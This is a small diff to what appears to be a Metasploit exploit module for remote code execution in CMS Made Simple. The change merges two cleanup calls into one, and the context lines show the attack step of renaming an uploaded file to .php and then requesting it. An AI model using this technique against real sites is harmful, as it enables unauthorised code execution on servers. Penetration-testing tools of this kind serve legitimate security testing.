diff --git a/modules/exploits/multi/http/cmsms_upload_rename_rce.rb b/modules/exploits/multi/http/cmsms_upload_rename_rce.rb
index b303668e3f..41bcb53b61 100644
--- a/modules/exploits/multi/http/cmsms_upload_rename_rce.rb
+++ b/modules/exploits/multi/http/cmsms_upload_rename_rce.rb
@@ -164,8 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     vprint_good("#{peer} - File renamed #{filename}.php")
 
-    register_files_for_cleanup("#{filename}.txt")
-    register_files_for_cleanup("#{filename}.php")
+    register_files_for_cleanup("#{filename}.txt", "#{filename}.php")
 
     res = send_request_cgi({
       'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),